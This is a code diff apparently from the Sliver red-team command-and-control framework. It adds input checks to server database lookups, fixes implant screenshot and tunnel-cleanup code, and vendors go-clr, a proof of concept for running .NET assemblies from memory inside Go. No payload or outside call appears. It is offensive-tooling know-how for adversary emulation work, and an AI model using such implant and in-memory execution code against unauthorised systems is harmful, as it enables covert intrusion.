once := sync.Once{}
|
||||
cleanup := func(reason error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := connection.Tunnel(tunnel.ID)
|
||||
once.Do(func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
cleanupTunnel := connection.Tunnel(tunnel.ID)
|
||||
if cleanupTunnel == nil {
|
||||
return
|
||||
}
|
||||
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: tunnel.ID,
|
||||
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
|
||||
Closed: true,
|
||||
TunnelID: cleanupTunnel.ID,
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(cleanupTunnel.ID)
|
||||
if dst != nil {
|
||||
dst.Close()
|
||||
}
|
||||
cancelContext()
|
||||
})
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelClose,
|
||||
Data: tunnelClose,
|
||||
}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
dst.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
go func() {
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package ps
|
||||
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
|
||||
pCommReader := bytes.NewBuffer(pComm)
|
||||
binPath, _ = pCommReader.ReadString(0x00)
|
||||
}
|
||||
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
|
||||
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error Capture: %s", err)
|
||||
//{{end}}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err != nil {
|
||||
|
||||
@@ -131,6 +131,7 @@ var rootCmd = &cobra.Command{
|
||||
|
||||
serverConfig := configs.GetServerConfig()
|
||||
c2.StartPersistentJobs(serverConfig)
|
||||
console.StartPersistentJobs(serverConfig)
|
||||
if serverConfig.DaemonMode {
|
||||
daemon.Start(daemon.BlankHost, daemon.BlankPort)
|
||||
} else {
|
||||
|
||||
@@ -177,6 +177,16 @@ func kickOperatorCmd(ctx *grumble.Context) {
|
||||
fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
|
||||
}
|
||||
|
||||
func StartPersistentJobs(cfg *configs.ServerConfig) error {
|
||||
if cfg.Jobs == nil {
|
||||
return nil
|
||||
}
|
||||
for _, j := range cfg.Jobs.Multiplayer {
|
||||
jobStartClientListener(j.Host, j.Port)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func startMultiplayerModeCmd(ctx *grumble.Context) {
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
+104
-14
@@ -39,9 +39,16 @@ var (
|
||||
|
||||
// ImplantConfigByID - Fetch implant build by name
|
||||
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
configID := uuid.FromStringOrNil(id)
|
||||
if configID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: uuid.FromStringOrNil(id),
|
||||
ID: configID,
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -79,6 +86,9 @@ func ImplantBuilds() ([]*models.ImplantBuild, error) {
|
||||
|
||||
// ImplantBuildByName - Fetch implant build by name
|
||||
func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
build := models.ImplantBuild{}
|
||||
err := Session().Where(&models.ImplantBuild{
|
||||
Name: name,
|
||||
@@ -126,6 +136,9 @@ func ImplantProfiles() ([]*models.ImplantProfile, error) {
|
||||
|
||||
// ImplantProfileByName - Fetch implant build by name
|
||||
func ImplantProfileByName(name string) (*models.ImplantProfile, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
profile := models.ImplantProfile{}
|
||||
err := Session().Where(&models.ImplantProfile{
|
||||
Name: name,
|
||||
@@ -170,6 +183,9 @@ func ImplantProfileNames() ([]string, error) {
|
||||
|
||||
// ProfileByName - Fetch a single profile from the database
|
||||
func ProfileByName(name string) (*models.ImplantProfile, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
dbProfile := &models.ImplantProfile{}
|
||||
err := Session().Where(&models.ImplantProfile{Name: name}).Find(&dbProfile).Error
|
||||
return dbProfile, err
|
||||
@@ -184,6 +200,9 @@ func ListCanaries() ([]*models.DNSCanary, error) {
|
||||
|
||||
// CanaryByDomain - Check if a canary exists
|
||||
func CanaryByDomain(domain string) (*models.DNSCanary, error) {
|
||||
if len(domain) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
dbSession := Session()
|
||||
canary := models.DNSCanary{}
|
||||
err := dbSession.Where(&models.DNSCanary{Domain: domain}).First(&canary).Error
|
||||
@@ -192,6 +211,9 @@ func CanaryByDomain(domain string) (*models.DNSCanary, error) {
|
||||
|
||||
// WebsiteByName - Get website by name
|
||||
func WebsiteByName(name string) (*models.Website, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
website := models.Website{}
|
||||
err := Session().Where(&models.Website{Name: name}).First(&website).Error
|
||||
if err != nil {
|
||||
@@ -235,9 +257,16 @@ func HostByHostID(id uuid.UUID) (*models.Host, error) {
|
||||
|
||||
// HostByHostUUID - Get host by the session's reported HostUUID
|
||||
func HostByHostUUID(id string) (*models.Host, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
hostID := uuid.FromStringOrNil(id)
|
||||
if hostID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
host := models.Host{}
|
||||
err := Session().Where(
|
||||
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
|
||||
&models.Host{HostUUID: hostID},
|
||||
).Preload("IOCs").Preload("ExtensionData").First(&host).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -247,18 +276,32 @@ func HostByHostUUID(id string) (*models.Host, error) {
|
||||
|
||||
// IOCByID - Select an IOC by ID
|
||||
func IOCByID(id string) (*models.IOC, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
ioc := &models.IOC{}
|
||||
iocID := uuid.FromStringOrNil(id)
|
||||
if iocID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(
|
||||
&models.IOC{ID: uuid.FromStringOrNil(id)},
|
||||
&models.IOC{ID: iocID},
|
||||
).First(ioc).Error
|
||||
return ioc, err
|
||||
}
|
||||
|
||||
// BeaconByID - Select a Beacon by ID
|
||||
func BeaconByID(id string) (*models.Beacon, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beacon := &models.Beacon{}
|
||||
err := Session().Where(
|
||||
&models.Beacon{ID: uuid.FromStringOrNil(id)},
|
||||
&models.Beacon{ID: beaconID},
|
||||
).First(beacon).Error
|
||||
return beacon, err
|
||||
}
|
||||
@@ -267,8 +310,14 @@ func BeaconByID(id string) (*models.Beacon, error) {
|
||||
// by default will not fetch the request/response columns since
|
||||
// these could be arbitrarily large.
|
||||
func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
if len(beaconID) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
id := uuid.FromStringOrNil(beaconID)
|
||||
if id == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
err := Session().Select([]string{
|
||||
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
|
||||
"Description",
|
||||
@@ -278,10 +327,17 @@ func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
|
||||
// BeaconTaskByID - Select a specific BeaconTask by ID, this
|
||||
// will fetch the full request/response
|
||||
func BeaconTaskByID(taskID string) (*models.BeaconTask, error) {
|
||||
func BeaconTaskByID(id string) (*models.BeaconTask, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
taskID := uuid.FromStringOrNil(id)
|
||||
if taskID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
task := &models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{ID: uuid.FromStringOrNil(taskID)},
|
||||
&models.BeaconTask{ID: taskID},
|
||||
).First(task).Error
|
||||
return task, err
|
||||
}
|
||||
@@ -294,9 +350,16 @@ func ListBeacons() ([]*models.Beacon, error) {
|
||||
}
|
||||
|
||||
// RenameBeacon - Rename a beacon
|
||||
func RenameBeacon(beaconID string, name string) error {
|
||||
func RenameBeacon(id string, name string) error {
|
||||
if len(id) < 1 {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
ID: beaconID,
|
||||
}).Updates(models.Beacon{Name: name}).Error
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -305,11 +368,18 @@ func RenameBeacon(beaconID string, name string) error {
|
||||
}
|
||||
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
|
||||
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
func PendingBeaconTasksByBeaconID(id string) ([]*models.BeaconTask, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
tasks := []*models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
BeaconID: beaconID,
|
||||
State: models.PENDING,
|
||||
},
|
||||
).Order("created_at").Find(&tasks).Error
|
||||
@@ -317,9 +387,16 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
|
||||
}
|
||||
|
||||
// UpdateBeaconCheckinByID - Update the beacon's last / next checkin
|
||||
func UpdateBeaconCheckinByID(beaconID string, next int64) error {
|
||||
func UpdateBeaconCheckinByID(id string, next int64) error {
|
||||
if len(id) < 1 {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
ID: beaconID,
|
||||
}).Updates(models.Beacon{
|
||||
LastCheckin: time.Now(),
|
||||
NextCheckin: time.Now().Unix() + next,
|
||||
@@ -329,10 +406,17 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
|
||||
|
||||
// BeaconTasksByEnvelopeID - Select a (sent) BeaconTask by its envelope ID
|
||||
func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTask, error) {
|
||||
if len(beaconID) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconUUID := uuid.FromStringOrNil(beaconID)
|
||||
if beaconUUID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
task := &models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
BeaconID: beaconUUID,
|
||||
EnvelopeID: envelopeID,
|
||||
State: models.SENT,
|
||||
},
|
||||
@@ -342,6 +426,9 @@ func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTa
|
||||
|
||||
// CountTasksByBeaconID - Select a (sent) BeaconTask by its envelope ID
|
||||
func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
|
||||
if beaconID == uuid.Nil {
|
||||
return 0, 0, ErrRecordNotFound
|
||||
}
|
||||
allTasks := int64(0)
|
||||
completedTasks := int64(0)
|
||||
err := Session().Model(&models.BeaconTask{}).Where(
|
||||
@@ -363,6 +450,9 @@ func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
|
||||
|
||||
// OperatorByToken - Select an operator by token value
|
||||
func OperatorByToken(value string) (*models.Operator, error) {
|
||||
if len(value) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
operator := &models.Operator{}
|
||||
err := Session().Where(&models.Operator{
|
||||
Token: value,
|
||||
|
||||
@@ -19,6 +19,7 @@ package db
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
@@ -45,6 +46,8 @@ func newDBClient() *gorm.DB {
|
||||
dbClient = postgresClient(dbConfig)
|
||||
case configs.MySQL:
|
||||
dbClient = mySQLClient(dbConfig)
|
||||
default:
|
||||
panic(fmt.Sprintf("Unknown DB Dialect: '%s'", dbConfig.Dialect))
|
||||
}
|
||||
|
||||
err := dbClient.AutoMigrate(
|
||||
|
||||
@@ -255,6 +255,9 @@ func GetSliversDir() string {
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode using Donut
|
||||
func SliverShellcode(name string, config *models.ImplantConfig) (string, error) {
|
||||
if config.GOOS != "windows" {
|
||||
return "", fmt.Errorf("Shellcode format is currently only supported on Windows")
|
||||
}
|
||||
appDir := assets.GetRootAppDir()
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "0",
|
||||
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
.idea
|
||||
__handlers__
|
||||
*.exe
|
||||
*.dll
|
||||
*.cs
|
||||
scratch/
|
||||
static/
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
Version 2, December 2004
|
||||
|
||||
Copyright (C) 2004 Sam Hocevar <[email protected]>
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is allowed as long
|
||||
as the name is changed.
|
||||
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
# go-clr
|
||||
[](https://godoc.org/github.com/ropnop/go-clr)
|
||||
|
||||
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
|
||||
|
||||
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
|
||||
load structs from memory.
|
||||
|
||||
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
|
||||
|
||||
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
|
||||
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
|
||||
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
|
||||
|
||||
## Installation and Usage
|
||||
`go-clr` is intended to be used as a package in other scripts. Install it with:
|
||||
```bash
|
||||
go get github.com/ropnop/go-clr
|
||||
```
|
||||
|
||||
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
|
||||
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
|
||||
`ExecuteByteArray`. Here's a quick example of using both:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
clr "github.com/ropnop/go-clr"
|
||||
"log"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func main() {
|
||||
fmt.Println("[+] Loading DLL from Disk")
|
||||
ret, err := clr.ExecuteDLLFromDisk(
|
||||
"TestDLL.dll",
|
||||
"TestDLL.HelloWorld",
|
||||
"SayHello",
|
||||
"foobar")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] DLL Return Code: %d\n", ret)
|
||||
|
||||
|
||||
fmt.Println("[+] Executing EXE from memory")
|
||||
exebytes, err := ioutil.ReadFile("helloworld.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
runtime.KeepAlive(exebytes)
|
||||
|
||||
ret2, err := clr.ExecuteByteArray(exebytes)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
|
||||
}
|
||||
```
|
||||
|
||||
The other 2 examples show the same technique but without the magic functions.
|
||||
|
||||
### License
|
||||
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
|
||||
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
|
||||
some organizations forbid this license from being used in products (which is a good thing).
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
//go:build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
|
||||
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
|
||||
// This structure only contains a pointer to the AppDomain's virtual function table
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomain struct {
|
||||
vtbl *AppDomainVtbl
|
||||
}
|
||||
|
||||
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
|
||||
// The Virtual Function Table contains pointers to the COM IUnkown interface
|
||||
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomainVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
InitializeLifetimeService uintptr
|
||||
GetLifetimeService uintptr
|
||||
get_Evidence uintptr
|
||||
add_DomainUnload uintptr
|
||||
remove_DomainUnload uintptr
|
||||
add_AssemblyLoad uintptr
|
||||
remove_AssemblyLoad uintptr
|
||||
add_ProcessExit uintptr
|
||||
remove_ProcessExit uintptr
|
||||
add_TypeResolve uintptr
|
||||
remove_TypeResolve uintptr
|
||||
add_ResourceResolve uintptr
|
||||
remove_ResourceResolve uintptr
|
||||
add_AssemblyResolve uintptr
|
||||
remove_AssemblyResolve uintptr
|
||||
add_UnhandledException uintptr
|
||||
remove_UnhandledException uintptr
|
||||
DefineDynamicAssembly uintptr
|
||||
DefineDynamicAssembly_2 uintptr
|
||||
DefineDynamicAssembly_3 uintptr
|
||||
DefineDynamicAssembly_4 uintptr
|
||||
DefineDynamicAssembly_5 uintptr
|
||||
DefineDynamicAssembly_6 uintptr
|
||||
DefineDynamicAssembly_7 uintptr
|
||||
DefineDynamicAssembly_8 uintptr
|
||||
DefineDynamicAssembly_9 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstanceFrom uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstanceFrom_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
CreateInstanceFrom_3 uintptr
|
||||
Load uintptr
|
||||
Load_2 uintptr
|
||||
Load_3 uintptr
|
||||
Load_4 uintptr
|
||||
Load_5 uintptr
|
||||
Load_6 uintptr
|
||||
Load_7 uintptr
|
||||
ExecuteAssembly uintptr
|
||||
ExecuteAssembly_2 uintptr
|
||||
ExecuteAssembly_3 uintptr
|
||||
get_FriendlyName uintptr
|
||||
get_BaseDirectory uintptr
|
||||
get_RelativeSearchPath uintptr
|
||||
get_ShadowCopyFiles uintptr
|
||||
GetAssemblies uintptr
|
||||
AppendPrivatePath uintptr
|
||||
ClearPrivatePath uintptr
|
||||
SetShadowCopyPath uintptr
|
||||
ClearShadowCopyPath uintptr
|
||||
SetCachePath uintptr
|
||||
SetData uintptr
|
||||
GetData uintptr
|
||||
SetAppDomainPolicy uintptr
|
||||
SetThreadPrincipal uintptr
|
||||
SetPrincipalPolicy uintptr
|
||||
DoCallBack uintptr
|
||||
get_DynamicDirectory uintptr
|
||||
}
|
||||
|
||||
// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
|
||||
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into appdomain.GetAppDomain()...")
|
||||
iu, err := runtimeHost.GetDefaultDomain()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
debugPrint("Entering into appdomain.QueryInterface()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetHashCode serves as the default hash function.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
|
||||
func (obj *AppDomain) GetHashCode() (int32, error) {
|
||||
debugPrint("Entering into appdomain.GetHashCode()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetHashCode,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
|
||||
}
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return int32(ret), nil
|
||||
}
|
||||
|
||||
// Load_3 Loads an Assembly into this application domain.
|
||||
// virtual HRESULT __stdcall Load_3 (
|
||||
// /*[in]*/ SAFEARRAY * rawAssembly,
|
||||
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
|
||||
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
|
||||
debugPrint("Entering into appdomain.Load_3()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Load_3,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(rawAssembly)),
|
||||
uintptr(unsafe.Pointer(&assembly)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
if err != syscall.Errno(1150) {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
|
||||
func (obj *AppDomain) ToString() (domain string, err error) {
|
||||
debugPrint("Entering into appdomain.ToString()...")
|
||||
var pDomain *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pDomain)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
|
||||
return
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type Assembly struct {
|
||||
vtbl *AssemblyVtbl
|
||||
}
|
||||
|
||||
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
|
||||
type AssemblyVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_CodeBase uintptr
|
||||
get_EscapedCodeBase uintptr
|
||||
GetName uintptr
|
||||
GetName_2 uintptr
|
||||
get_FullName uintptr
|
||||
get_EntryPoint uintptr
|
||||
GetType_2 uintptr
|
||||
GetType_3 uintptr
|
||||
GetExportedTypes uintptr
|
||||
GetTypes uintptr
|
||||
GetManifestResourceStream uintptr
|
||||
GetManifestResourceStream_2 uintptr
|
||||
GetFile uintptr
|
||||
GetFiles uintptr
|
||||
GetFiles_2 uintptr
|
||||
GetManifestResourceNames uintptr
|
||||
GetManifestResourceInfo uintptr
|
||||
get_Location uintptr
|
||||
get_Evidence uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetObjectData uintptr
|
||||
add_ModuleResolve uintptr
|
||||
remove_ModuleResolve uintptr
|
||||
GetType_4 uintptr
|
||||
GetSatelliteAssembly uintptr
|
||||
GetSatelliteAssembly_2 uintptr
|
||||
LoadModule uintptr
|
||||
LoadModule_2 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
GetLoadedModules uintptr
|
||||
GetLoadedModules_2 uintptr
|
||||
GetModules uintptr
|
||||
GetModules_2 uintptr
|
||||
GetModule uintptr
|
||||
GetReferencedAssemblies uintptr
|
||||
get_GlobalAssemblyCache uintptr
|
||||
}
|
||||
|
||||
